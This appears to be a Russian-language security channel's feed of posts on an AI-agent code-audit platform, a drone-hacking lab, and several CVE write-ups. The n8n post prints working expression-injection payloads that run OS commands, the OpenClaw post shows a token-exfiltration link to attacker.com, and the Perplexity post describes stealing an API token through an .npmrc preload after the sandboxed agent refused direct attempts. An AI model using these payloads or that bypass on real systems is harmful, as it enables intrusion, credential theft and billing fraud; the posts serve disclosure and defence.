PurpleBear

Open·kritt

Open-source платформа для оркестрации AI-агентов, которые ищут уязвимости в исходном коде.
Идея в том, что скармливать LLM целый репозиторий с промптом найди все уязвимости обычно не очень эффективно😅 Поэтому исследование разбивается на небольшие связанные задачи, которые выполняются последовательно или параллельно, а результаты передаются следующим агентам.

Основной объект платформы - Workflow: дерево prompt-шагов с настраиваемыми переменными, связями и output schema.
Например, встроенный external-flow-analysis работает так:
📌 Первый агент ищет внешние entrypoints
📌 Следующие агенты тыкают достижимые execution flows
📌 Каждый flow отдельно исследуется на наличие уязвимостей
📌 Результат возвращается в структурированном виде: описание, тип уязвимости, файл, строка, trigger flow, malicious input и оценка возможности эксплуатации.

Прдзадачи одного уровня могут выполняться параллельно, поэтому вместо одного огромного контекста получается несколько сфокусированных исследований.
Что умеет open·kritt:
✔️ Создавать workflow в визуальном редакторе или генерировать их с помощью AI
✔️ Настраивать промты, переменные, зависимости и output schemas
✔️ Анализировать локальные и GitHub-репозитории, включая приватные
✔️ Подключать дополнительные репозитории как dependencies
✔️ Использовать Agent Skills для конкретных языков, архитектур и классов уязвимостей
✔️ Автоматически дедуплицировать и ранжировать находки
✔️ Запускать post-scripts для дополнительной проверки находок
✔️ Управлять сканированиями через Web UI и HTTP API

После основного workflow запускается post-processing. Сначала semantic deduplication объединяет находки, относящиеся к одной root cause и location/entrypoint. Простого совпадения по классу уязвимости недостаточно👍
Затем находки ранжируются с учётом impact, exploit likelihood, scope и вероятности bounty💰Критерии оценки критичности можно также настраивать с помощью текстовых инструкций.
После этого для каждого канонического файндинга могут запускаться post-scripts. Дополнительному агенту можно поручить проверить эксплуатацию, собрать доказательства, подготовить PoC, уточнить влияние или сформировать отчёт.

Сейчас есть два встроенных workflow:
🔴 external-flow-analysis - исследование entrypoints и достижимых от них execution flows
🔴 Cosmos ABCI Panic Halt Review - поиск panic-path в Go-приложениях на базе Cosmos ABCI
В качестве агентов используются Codex и Claude Code. Для доступа к моделям поддерживаются Codex login, OpenAI API, Anthropic API и OpenRouter API.

Отдельно стоит учитывать модель угроз. Хотя платформа разворачивается локально, исходный код может передаваться выбранному внешнему провайдеру.
Tool-enabled агенты работают от root в одноразовых docker-контейнерах, получают доступную для записи копию репозитория и прямой доступ в интернет. Сами job-контейнеры не получают docker socket, базу данных и .env, но engine управляет docker daemon. Поэтому запускать платформу рекомендуется на отдельной VM.
Backend по умолчанию не имеет в аутентификацию. Порты привязаны слушают на localhost, но выставлять интерфейс наружу без reverse proxy и дополнительной аутентификации точно не стоит🙈
Авторы заявляют, что заработали более $1,5 млн на bug bounty, и приводят ссылки на профили Immunefi и HackenProof.

По сути это не очередной AI-SAST, а платформа для декомпозиции security research: управляемые промты, параллельные агенты, структурированные результаты, deduplication, ranking и дополнительная валидация.
Полноту покрытия никто не гарантирует, а результаты всё равно требуют ручной проверки. Но для автоматизации source code review и экспериментов с AI-агентами выглядит очень неплохо🔥

Damn Vulnerable Drone

Всем привет! Давно я не писал нормальных постов, надо исправляться👇
Если заниматься безопасностью дронов на реальном стенде, обычно нужен как минимум сам дрон, полётный контроллер, набор радиомодулей и достаточно свободного пространства.

На выходных мне попался на глаза интересный проект Damn Vulnerable Drone - лаборатория для изучения атак на дроны, основанная на популярной архитектуре ArduPilot/MAVLink и полностью разворачиваемая в Docker.
Под капотом используется ArduPilot SITL (Software-in-the-Loop), позволяющий запускать прошивку полётного контроллера в виртуальном окружении. В Full Mode к нему добавляется Gazebo с физикой и полноценной 3D-симуляцией, а в Lite Mode используется встроенная 2D-модель динамики полёта ArduPilot без необходимости в GPU.

Что внутри:
✔️ Flight Controller с ArduPilot SITL
✔️ Companion Computer с веб-интерфейсом и виртуальным serial-соединением с полётным контроллером
✔️ MAVLink Router для маршрутизации телеметрии
✔️ Интеграция с MAVProxy и запуск QGroundControl в один клик на x86
✔️ Виртуальная Wi-Fi-сеть 802.11 в режимах WEP и WPA2
✔️ RTSP-стрим с бортовой камеры, управление gimbal и интеграция с Companion Computer
✔️ Динамические ArduPilot .bin flight logs на виртуальной SD-карте
✔️ Management Console для запуска сценариев и управления состояниями полёта
✔️ Детальные walkthrough для каждого сценария, спрятанные под spoiler, чтобы сразу не портить удовольствие😎
Можно запускать пять состояний дрона: Initial Boot, Arm & Takeoff, Autopilot Flight, Emergency/Return-To-Land и Post-Flight Data Processing.

Атакующих сценариев внутри уже прилично:
🔴 Wi-Fi analysis, cracking и deauthentication
🔴 Обнаружение дрона, Companion Computer и Ground Control Station
🔴 Packet Sniffing и Protocol Fingerprinting
🔴 Обнаружение GPS и телеметрии
🔴 MAVLink Injection и подмена Ground Control Station
🔴 GPS, attitude, battery, system status и satellite spoofing
🔴 Waypoint Injection и извлечение полётной миссии
🔴 Geofencing Attack и Return-to-Home Point Override
🔴 Flight Termination и Denial-of-Takeoff
🔴 Перехват RTSP-стрима и захват управления gimbal
🔴 Извлечение параметров и flight logs
🔴 Companion Computer Takeover
🔴 ROS 2 DDS Graph Enumeration, Topic Replay и Rogue Publisher Injection
🔴 Firmware Decompile и Firmware Modding
🔴 Различные DoS и flooding-атаки на каналы управления

Для быстрого старта в Lite Mode без GPU и виртуальной Wi-Fi-сети достаточно:
git clone https://github.com/nicholasaleks/Damn-Vulnerable-Drone.git
cd Damn-Vulnerable-Drone
sudo ./start.sh --mode lite --no-wifi
А для полноценной симуляции с Gazebo и виртуальной WPA2-сетью:
sudo ./start.sh --mode full --wifi wpa2

Для Full Mode официально поддерживается только Kali Linux. Авторы рекомендуют 8–16 GB RAM, 2–4 CPU cores, 100 GB свободного места и GPU с поддержкой OpenGL 3.0+. Lite Mode может работать на большинстве Linux-дистрибутивов и требует примерно 4–8 GB RAM, 2 CPU cores, 100 GB свободного места и не нуждается в GPU.

По сути получилась хорошая лаба, в которой можно безопасно изучать архитектуру современных беспилотников, MAVLink, телеметрию, системы управления и техники атак, не рискуя превратить реальный дрон в дорогостоящий кирпич🔥
Конечно, виртуальная лаборатория не заменит работу с реальным железом, радиоканалами и особенностями конкретных производителей, но для знакомства с drone hacking, проведения тренировок и отработки базовых техник выглядит очень достойно.

⚙️ Репозиторий: https://github.com/nicholasaleks/Damn-Vulnerable-Drone
📚 Attack Scenarios: https://github.com/nicholasaleks/Damn-Vulnerable-Drone/wiki/Attack-Scenarios

Hacked Perplexity Computer and got unlimited Claude Code 🤖

Сегодня хочу рассказать про интересное исследование Perplexity Computer - отличный пример того, где ломается agent‑инфраструктура.

Исследователь изучал sandboxing multi‑agent системы и обнаружил внутри sandbox установленный Claude Code (Node.js, bypass‑permissions mode) Поэтому возник вполне логичный вопрос - где хранится Anthropic API key и как он изолирован?

6 попыток вытащить ключ провалились - модель и prompt‑safety реально отработали хорошо:
🔴 dump process.env - отказ
🔴 троян на shared FS - агент понял подвох
🔴.bashrc / PATH hijack —-не сработало
🔴 system prompt - не найден

А потом классика supply‑chain атак 😎
Claude Code - это Node.js → запускается через npm → npm читает ~/.npmrc → home‑директория доступна на shared filesystem.

Через .npmrc можно задать:
node-options=--require /path/to/preload.js
--require подгружает JS до старта приложения и до любых safety‑проверок.

💣 Эксплоит = 3 команды:
1️⃣ preload‑скрипт, который пишет process.env в файл
2️⃣ запись .npmrc
3️⃣ любая задача

Результат - доступ к Perplexity proxy‑token к Anthropic API.
И самое интересное:
🔴 токен не IP‑restricted
🔴 не sandbox‑bound
🔴 не ephemeral
🔴 биллинг на Perplexity

100k+ токенов × несколько запусков → деньги не списываются.
Фактически unlimited Claude Code за их счёт 💸
Модель всё сделала правильно - сломалась именно архитектура.

Если вы строите agent‑infra, стоит подумать про:
🔐 токен должен быть привязан к sandbox
⏳ токен должен быть короткоживущим
💳 usage должен биллиться на пользователя
Иначе proxy - это просто лишний network hop, который ничего не защищает.

Большинство multi‑agent продуктов сегодня устроены примерно так же 😎

One-Click RCE + unauth API keys leak в OpenClaw/Clawdbot/Moltbot (CVE‑2026‑25253)

Исследователи из Hunt.io разобрали потенциальные последствия эксплуатации уязвимости CVE‑2026‑25253 с оценкой CVSSv3 = 8.8 в OpenClaw и его форках (Clawdbot, Moltbot). Это browser‑automation фреймворки, связывающие LLM с браузером через Playwright. Эти агенты обычно имеют доступ к файловой системе и API‑ключам LLM, что автоматически делает последствия эксплуатации довольно критичными.

🤦 Основная проблема:
1️⃣ Ручка /api/export-auth доступна без аутентификации
2️⃣ Позволяет выгрузить все сохранённые API‑токены провайдеров LLM (OpenAI, Claude, Google AI и др.)

⚙️ Технические детали эксплуатации
OpenClaw до патча:
1️⃣ Читает параметр gatewayUrl из query‑string
2️⃣ Автоматически подключается к нему по WebSocket
3️⃣ Без подтверждения пользователя отправляет auth‑токен на хост атакующего

💫 Сценарий:
1️⃣ Жертва кликает ссылку:
https://victim-openclaw-ui/?gatewayUrl=wss://attacker.com/exfil
2️⃣ OpenClaw сам подключается к WebSocket на хосте атакующего
3️⃣ Токен мгновенно утекает атакующему
4️⃣ Атакующий использует токен для подключения к Gateway API жертвы
5️⃣ Меняет конфигурацию агента
6️⃣ Вызывает привилегированные API → выполнение произвольного кода на хосте

📊 Масштаб последствий
17 500+ публично доступных инстансов в интернете
68.9% — Clawdbot Control
22.3% — Moltbot Control
8.8% — OpenClaw Control

✅ Рекомендации:
1️⃣ Обновиться до версии OpenClaw v2026.1.29
2️⃣ Считать все ключи скомпрометированными, проверить балансы провайдеров LLM, провести ротацию ключей
3️⃣ Использовать естественный интеллект
4️⃣ Не публиковать AI‑агентов в интернет

n8n Expression Injection → RCE (CVE‑2025‑68613)

В конце прошлого года были опубликованы технические детали эксплуатации критической уязвимости CVE‑2025‑68613 с оценкой CVSSv3 = 9.9 в популярной open‑source платформе автоматизации n8n
n8n - workflow‑движок на Node.js, широко используемый для автоматизации LLM интеграций. У меня n8n используется для домашней автоматизации в качестве альтернативы Node-Red для Home Assistant, но также достаточно часто разворачивается внутри корпоративных сетей, что делает последствия эксплуатации довольно критичными.

В n8n используется механизм expressions - любые значения в формате ` `.``.``.` ` интерпретируются как JavaScript и обрабатываются на стороне сервера как есть🤷

Проблема в том, что:
🔴 expression evaluator не имеет строгой sandbox‑изоляции;
🔴 возможен доступ к prototype chain;
🔴 выражения исполняются через небезопасные конструкции уровня Function().
В результате expression injection позволяет выйти из песочницы и получить доступ к runtime Node.js

POC демонстрирующий побег из sandbox:
{{ this.constructor.constructor("return process")() }}

this.constructor → Function
Function.constructor → снова Function
создаётся новая функция, возвращающая process

Дальше всё предсказуемо - получаем child_process и выполняем команды ОС:
{{
this.constructor
.constructor(
"return process.mainModule.require('child_process')" +
".execSync('id').toString()"
)()
}}

Таким образом имея непривилегированную учётку n8n, атакующий может:
✔️ прокинуть себе reverse shell
✔️ украсть токены, секреты и креды из workflow
✔️ модифицировать или подменить бизнес‑логику автоматизации

⚙️ POC: https://github.com/TheStingR/CVE-2025-68613-POC
🔎 Nuclei: https://github.com/rxerium/CVE-2025-68613/blob/main/CVE-2025-68613.yaml
🪲 Уязвимые версии ПО: 0.211.0 – 1.120.3
✅ Рекомендации: Обновиться до версии 1.120.4 / 1.121.1 / 1.122.0

Всем привет!
Запись прямого эфира AM Live на тему «Стратегия информационной безопасности: от разработки до применения» доступна по ссылке: https://www.youtube.com/watch?v=ymcaRTqbR-0
Эфир для тех, кто не хочет узнавать о провале стратегии после атаки из новостей.

❓ Ваша стратегия ИБ — работает? Или это просто файл в папке?
❓ У вас есть метрики зрелости? Критерии эффективности? Проверки в реальных условиях?

Мы с коллегами обсудили:
✅ Как понять, что стратегия ИБ не работает
✅ Что эффективнее: KPI по инцидентам или уровню зрелости
✅ Как проверять устойчивость стратегии с помощью регулярных пентестов и кибериспытаний
✅ Как визуализировать стратегию для совета директоров, чтобы вас услышали

Эфир получился жарким, наполненным интересными дискуссиями между представителями внешнего консалтинга и CISO крупных компаний.

Приятного просмотра! Буду очень признателен за лайки, репосты и комментарии 🙏

JA4D and JA4D6: DHCP Fingerprinting

Всем привет! Давно я ничего не писал, потому что, как буквально вчера сказал один мой хороший друг ..."Q4, выживаем как можем"... поэтому сразу лайк, этому посту, у кого тоже самое😜

Пару лет назад я писал про фреймворк JA4+ Network Fingerprinting для снятия отпечатков с трафика, который активно используется различными СЗИ для идентификации вредоносной активности на уровне сети. А на прошлой неделе вышли дополнения JA4D и JA4D6 позволяющие определять активы в момент подключения к сети на основе запросов DHCP/DHCPv6. Суть метода заключается в сравнение фингерпринтов при подключении для основных запросов DHCP/DHCPv6 с библиотекой известных устройств. На данный момент библиотека отпечатков для этого дополнения пока небольшая, но учитывая большую популярность фреймворка у различных вендоров она 100% быстро разрастется.

Таким образом, можно очень быстро идентифицировать любые недоверенные устройства/ОС в вашей корпоративной сети, без активного сканирования. При этом методов байпаса для JA4+ фактически не существует, поэтому любая пентестерская kali lincox😂 будет моментально светиться в логах СЗИ 👍

Всем привет!
Запись прямого эфира на тему «Offensive Security: как превратить пентесты и Red Team в стратегию» доступна на каналах AM Live.

Традиционная безопасность отвечает на атаки. Offensive Security — предупреждает их.
Если вы всё ещё «закрываете периметр» и «повышаете осведомлённость сотрудников» — возможно, вы просто играете в оборону.

Мы с коллегами говорили о компаниях, которые пошли дальше: регулярно проводят Red Teaming силами внешних подрядчиков или строят собственные внутренние команды, запускают Bug Bounty и превращают пентесты из формальности в системную практику.

✅ YouTube
✅ VK Видео
✅ RuTube

Приятного просмотра!

PS: Буду очень признателен за лайки, комментарии и конструктивную критику🙏